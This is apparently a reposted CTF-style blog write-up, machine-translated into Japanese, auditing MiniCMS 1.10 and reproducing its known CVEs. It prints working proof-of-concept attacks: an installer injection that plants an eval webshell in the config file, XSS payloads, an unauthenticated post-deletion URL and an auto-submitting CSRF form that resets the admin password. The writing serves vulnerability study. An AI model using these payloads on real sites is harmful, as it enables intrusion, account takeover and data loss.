MiniCMS脆弱性監査

序文

以前のctfshowのDJBCTFでは、Hushanxingの質問がMiniCMSと組み合わされていましたが、当時、私はそれほど多くのコードをレビューした経験がなく、作成しませんでした。ゲーム終了後は、マスターのWPに合わせてクリエイターが付け加えた抜け穴を再現しただけで、MiniCMSは真剣に検討していませんでした。このCMSのコードは非常にシンプルで理解しやすいため、CMSの監査を開始したい人にとっては非常に良い前菜​​です。そこで、このCMSのコードを大まかに読み、このCMSのさまざまな側面を再現しました。CVEの脆弱性。

構造を引用します。

│  build.php
│  index.php 整个项目的入口,首先引入核心库mc-core.php,然后进行路由,对路由结果进行相应的渲染,相当于MVC中的C
│  install.txt 复制为php文件后,用来安装MiniCMS
│  README.md
│
├─mc-admin 管理功能的实现
│      conf.php 用户设置页面,包括接收和保存更改的设置
│      editor.php 编辑器的大小、样式调整的库
│      foot.php html<foot>标签构造
│      head.php token验证,html<head>标签构造;若验证失败,跳转至主页
│      index.php 后台登陆身份验证页面
│      page-edit.php 页面编写处理逻辑,包括显示编辑页面、接收提交的页面、页面序列化储存
│      page.php 管理页面的库,声明加载数据、删除页面、还原页面(从回收站还原)
│      post-edit.php 文章编写处理逻辑,包括显示编辑页面、接收提交的页面、页面序列化储存
│      post.php 管理文章的库,声明加载数据、删除文章、还原文章(从回收站还原)
│      style.css 后台用到的CSS
│
└─mc-files
    │  markdown.php 一个开源的markdown解析库
    │  mc-conf.php 配置文件,包含用户名和密码等敏感信息
    │  mc-core.php 引入mc-tags、mc-conf,声明404函数
    │  mc-rss.php 订购RSS的链接
    │  mc-tags.php 相当于M,引入markdown、包括一些核心函数,包括了加载各种信息的函数(网站名、文章数、前进后退等,中间有各种过滤,可以重点分析)
    │
    ├─pages
    │  └─index
    │          delete.php 使用数组储存了删除页面的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
    │          draft.php 使用数组储存了草稿页面的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
    │          publish.php 使用数组储存了已发布的页面的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
    │
    ├─posts
    │  ├─data 储存了文章内容的反序列化数据(文章内容等)
    │  └─index
    │          delete.php 使用数组储存了删除的文章的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
    │          draft.php 使用数组储存了草稿文章的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
    │          publish.php 使用数组储存了已发布文章的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
    │
    └─theme
            index.php 主题文件,决定了页面的风格,将C传入的信息显示出来,相当于V
            style.css 主题使用的CSS风格

マスターのCVEサマリーを引用するには:

  • CVE-2018-1000638反映されたXSS
    が存在する場所:XSSの脆弱性が/MiniCMS-master/mc-admin/page.phpの日付パラメーターに存在します

  • CVE-2018-10227ストレージXSSの
    場所:/MiniCMS-master/MiniCMS-master/mc-admin/conf.php
    Webサイトアドレスが変更される設定にはXSSの脆弱性があり、XSSペイロードを直接保存できます。

  • CVE-2018-10296保存されたXSSの場所:/MiniCMS-master/mc-admin/post-edit.php
    記事のタイトルを編集して、XSSペイロードを直接保存します。


  • 個人的には、CVE-2018-10423は脆弱性ではなく、バグだと思います。ここでのバグは、WebページのハイパーリンクがWebサイトのルートディレクトリを誤って指していることです。クリックすると、のルートディレクトリにアクセスします。現時点では、洞窟所有者のapache構成ファイルをトラバースしないと、CMSの抜け穴と間違えられ、明らかに間違っていました。洞窟所有者はポイントを獲得する必要がありましたが、私は予想していませんでした。合格する:)。

  • CVE-2018-10424リークされた物理パス
    場所:/MiniCMS-master/mc-admin/post-edit.php GETのパラメーターIDが存在しないファイル名に変更された場合、物理アドレスが公開されます。

  • CVE-2018-15899反映されたXSS
    が存在します:/minicms/mc-admin/page.php GETパラメーターの日付にXSSがあります(CVE-2018-1000638と重複しているようです...)。

  • CVE-2018-16233リフレクティブXSS
    が存在する場所:XSS/MiniCMS-1.10 / mc-admin /post-edit.phpのPOSTパラメータータグに存在します。

  • CVE-2018-16298リフレクティブXSS
    が存在する場所:XSS/MiniCMS-1.10 / mc-admin /post.phpのGETパラメータータグに存在します。

  • CVE-2018-17039反映されたXSSの場所:/mc-admin/index.php任意のGETパラメーターを使用してXSS
    ペイロードを取得すると、IEブラウザーでJSを実行できます。

  • CVE-2018-18890リークされた物理パス
    場所:post.php?delete = qe54cn&state = delete存在しない投稿を削除すると、物理パスが明らかになりました。

  • CVE-2018-18891ファイル削除の一部(論理的な脆弱性、ID認証の前に削除操作が実行され
    ますは次の場所にあります:/mc-admin/post.php?delete = qe54cn&state = deleteログインせずに記事を直接削除できます。

  • CVE-2018-18892 RCEのチキンリブが存在します:
    install.phpは、インストール中に構成場所の構成ファイルにPHPコードを直接挿入できます。このファイルは、MiniCMSのインストール後に削除されるため、大きすぎません。実際の状況の影響。

  • CVE-2018-20520リフレクティブXSS
    が存在する場所:CVE-2018-17039と同様に、/ MiniCMS1 / mc-admin / post-edit.phpは任意のGETパラメーターを使用してXSS
    ペイロードを取得し、IEでJSを実行できますブラウザ。

  • CVE-2018-9092 CSRFが存在します:
    http ://127.0.0.1//MiniCMS/mc-admin/post.php?delete = aaaaaa&state = publish&date =&tag =ここでのCSRFにより、記事が削除されます。

  • CVE-2019-9603 CSRFが存在します:/minicms/mc-admin/conf.php
    ここでのCSRFにより、Webサイト構成が任意に変更されます。

これらのCVEをゆっくりと再現します。
MiCMSソースのダウンロード:MiniCMS

CVE-2018-18892チキンリブRCE

本当に無味なRCEです。99.9%はダメだと言えますが、残りの0.1%はDJBCTFに出ており、とんでもないことです。
キーはinstall.txtです。このファイルには、phpの末尾を付けて、インストールします。キーコードはここにあります:

if (!@file_put_contents('mc-files/mc-conf.php', 
    	"<?php \$mc_config = array(".
    	"'version'   => '/*MINICMS_VERSION*/',".
    	"'site_link' => '{
      
      $_POST['sitelink']}',".
    	"'site_name' => '{
      
      $_POST['sitename']}',".
    	"'site_desc' => '又一个MiniCMS网站',".
    	"'user_name' => '{
      
      $_POST['username']}',".
    	"'user_pass' => '{
      
      $_POST['password']}',".
    	"'user_nick' => '{
      
      $_POST['nickname']}',".
    	"'comment_code' => '');?>"
    )) {
    
    

インストール時の設定と同等で、POSTパラメータはmc-conf.phpに直接書き込まれます。このファイルは基本的に、背後のさまざまな機能で必要となるファイルであり、任意のPOSTパラメータに直接書き込むことができます。合格:

');eval($_POST['feng']);//

この穴は、開発者が残したものである場合もあれば、フィルタリングされていなくても問題ないと開発者が感じている場合もあります。結局のところ、自分でインストールしてください。味がない。

CVE-2018-1000638リフレクティブXSS

MiniCMSバージョン1.1には、http://example.org/mc-admin/page.php?date = {payload}にクロスサイトスクリプティング(XSS)の脆弱性があり、コードインジェクションが発生する可能性があります。

if (isset($_GET['date']))
  $filter_date = $_GET['date'];
else
  $filter_date = '';

GETパラメータの日付が再度渡され、その後、$filter_dateフィルタリングなしでフロントエンドコードに挿入され、多くの位置が挿入されます。

<a class="link_button" href="?state=<?php echo $state; ?>&date=<?php echo $filter_date;?>">&laquo;</a>

POC:

?date="></a><img%20src=1%20onerror=alert(1)><a>

ここに画像の説明を挿入

CVE-2018-10227保存されたXSS

MiniCMS v1.10には、mc-admin / conf.phpsite_linkパラメーターを介したXSSがあります。

if (isset($_POST['save'])) {
    
    
  $user_name_changed = $_POST['user_name'] != $mc_config['user_name'];
  
  $mc_config['site_name'] = $_POST['site_name'];
  $mc_config['site_desc'] = $_POST['site_desc'];
  $mc_config['site_link'] = $_POST['site_link'];
  $mc_config['user_nick'] = $_POST['user_nick'];
  $mc_config['user_name'] = $_POST['user_name'];
  $mc_config['comment_code'] = get_magic_quotes_gpc() ? stripslashes(trim($_POST['comment_code'])) : trim($_POST['comment_code']);
  
  if ($_POST['user_pass'] != '')
    $mc_config['user_pass'] = $_POST['user_pass'];

  $code = "<?php\n\$mc_config = ".var_export($mc_config, true)."\n?>";
  
  file_put_contents('../mc-files/mc-conf.php', $code);

conf.phpは設定を変更し、site_linkはフィルタリングせずにmc-conf.phpに直接書き込まれます。以下にフィルタリングされた出力がありますが:

value="<?php echo htmlspecialchars($site_link); ?>" />

しかし、head.phpでは:

<h3 id="menu_title"><a href="<?php echo $mc_config['site_link'] != '' ? $mc_config['site_link'] : '/'; ?>"><?php echo htmlspecialchars($mc_config['site_name']); ?></a></h3>

$mc_config['site_link']出力はフロントエンドに直接送信され、htmlspecialcharsフィルタリングはありません。site_nameがフィルタリングされる理由に興味があります。再び開発のポットのようです。
POC:

http://www.fuxian.com"></a><img src=1 οnerrοr=alert(1)><a>

ここに画像の説明を挿入

ここに画像の説明を挿入

XSSの残りの部分はリリースされません。原則は同じです。つまり、開発では入力がフィルタリングされません。

CVE-2018-10424

MiniCMS1.10のmc-admin / post-edit.phpでは
、変更されたidフィールドを介しフルパスを開示できます。

初めてのCVEトライアル。これは穴と見なすことができますか?CVEも取得できますか?

} else if (isset($_GET['id'])) {
    
    
  $file_path = '../mc-files/posts/data/'.$_GET['id'].'.dat';
  
  $data = unserialize(file_get_contents($file_path));
  
  $post_id      = $data['id'];
  $post_state   = $data['state'];
  $post_title   = $data['title'];
  $post_content = $data['content'];
  $post_tags    = $data['tags'];
  $post_date    = $data['date'];
  $post_time    = $data['time'];
  $post_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
}

getがIDを渡す場合、フロントエンドによって出力されるコンテンツは、IDに対応する記事のコンテンツです。存在しないIDをここに入力すると、エラーが報告され、物理パスが展開されます。
ここに画像の説明を挿入

CVE-2018-18891

MiniCMS 1.10では、認証チェックの実行が遅すぎるため、/ mc-admin / post.php?state = delete&delete =を介してファイルを削除できます。

許可されていない脆弱性は、コードを確認することによってのみ発見できます。主な問題は、許可の判断がhead.phpにあることです。

ini_set("display_errors", "On"); error_reporting(E_ALL);
require_once '../mc-files/mc-conf.php';

if (isset($_COOKIE['mc_token'])) {
    
    
  $token = $_COOKIE['mc_token'];

  if ($token != md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
    
    
    Header("Location:index.php");
    exit;
  }
} else {
    
    
  Header("Location:index.php");
  exit;
}

ただし、このような問題はpost.phpとpage.phpの両方で発生しました。独自のphpコードが実行された後、188行目でrequireが実行されます。

<?php require 'head.php' ?>

記事削除機能を実行する場合は、垂直方向の不正な記事削除が発生するため、必要になる前にコードで実行されます。
POC:

http://www.fuxian.com/mc-admin/post.php?state=delete&delete=aaaaaa

CVE-2018-9092

MiniCMS1.10のmc-admin / conf.phpにCSRFの脆弱性があり、管理者アカウントのパスワードを変更する可能性があります。

基本的に、構成は自由に変更できます。MiniCMSはCSRFを防御していないようです。POCは
次のとおりです。

<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<title>test</title>
<body>
<form action="http://127.0.0.1/minicms/mc-admin/conf.php" method="post">
<input type="hidden" name="site_name" value="hack123" />  
<input type="hidden" name="site_desc" value="hacktest" />  
<input type="hidden" name="site_link" value="http://127.0.0.1/minicms" />  
<input type="hidden" name="user_nick" value="hack" />  
<input type="hidden" name="user_name" value="admin" />  
<input type="hidden" name="user_pass" value="hackpass" />  
<input type="hidden" name="comment_code" value="" />  
<input type="hidden" name="save" value="保存设置" /> 
</form>
<script>
	document.forms[0].submit();
</script>
</body>
</head>
</html>

総括する

MiniCMSには基本的に深い穴はなく、XSSやCSRFのような穴です。このCMSを調べることは、感覚を見つけるための入門書であり、CMSの開発方法を少し見てみます。
最近、セキュリティの先輩が、私が成長したいのなら、もっとコードを読まなければならないと私に言いました、そしてそれは本当です。私のコードレビューはまだ少なく、PHPが当てはまります。フォローアップ学習のJava監査でも、コードをさらに調べる必要があります。

おすすめ

転載: blog.csdn.net/rfrder/article/details/113405853